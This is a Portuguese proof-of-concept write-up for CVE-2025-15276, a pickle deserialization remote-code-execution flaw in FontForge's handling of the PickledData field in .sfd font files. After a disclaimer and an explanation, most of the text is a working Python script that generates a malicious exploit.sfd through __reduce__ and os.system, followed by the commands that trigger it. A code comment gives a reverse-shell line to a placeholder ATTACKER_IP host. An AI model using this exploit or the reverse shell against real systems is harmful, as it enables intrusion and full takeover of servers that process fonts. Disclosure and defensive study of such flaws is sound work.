
Prova de conceito para CVE-2025-15276 - Vulnerabilidade de execução remota de código por desserialização de dados não confiáveis na análise de arquivos SFD do FontForge
Esta Prova de Conceito (PoC) destina-se apenas a fins educacionais e auditoria de segurança. O autor não é responsável por qualquer uso indevido desta informação. O acesso não autorizado a sistemas de computador é ilegal. Obtenha sempre permissão explícita antes de realizar testes de segurança em qualquer sistema.
A CVE-2025-15276 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no FontForge (versões até e incluindo a 20230101). A falha existe no parse do formato Spline Font Database (.sfd), especificamente dentro do campo PickledData.
O formato SFD do FontForge permite o armazenamento de dicionários Python persistentes usando a palavra-chave PickledData. Quando uma fonte é carregada, o FontForge extrai essa string e a passa diretamente para a função do Python (ou uma rotina interna equivalente de desserialização) sem qualquer sanitização ou sandboxing.
pickle.loads()Como o módulo pickle do Python é inerentemente inseguro e permite a reconstrução arbitrária de objetos, um atacante pode usar o método __reduce__ para executar comandos arbitrários do sistema com os privilégios do usuário que está executando o FontForge.
20230101 ou anterior.Use o seguinte script Python (gen_poc.py) para criar um arquivo exploit.sfd. Esta PoC está configurada para criar um arquivo em /tmp/pwned como um indicador seguro de comprometimento (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
A vulnerabilidade pode ser acionada simplesmente abrindo o arquivo com o FontForge.
Opção A: Carregamento padrão via GUI/CLI
fontforge exploit.sfd
Opção B: Interface de Script Python (comum em pipelines automatizados)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Verifique se o comando foi executado:
ls -l /tmp/pwned
Esta vulnerabilidade é particularmente perigosa em pipelines de processamento de fontes (por exemplo, conversores de fontes baseados na web ou scripts automatizados de validação) que usam FontForge no backend para processar arquivos enviados pelo usuário. Se o script do backend chamar fontforge.open() em um arquivo .sfd não confiável, o atacante obtém controle total sobre o servidor de processamento.
.sfd de fontes não confiáveis.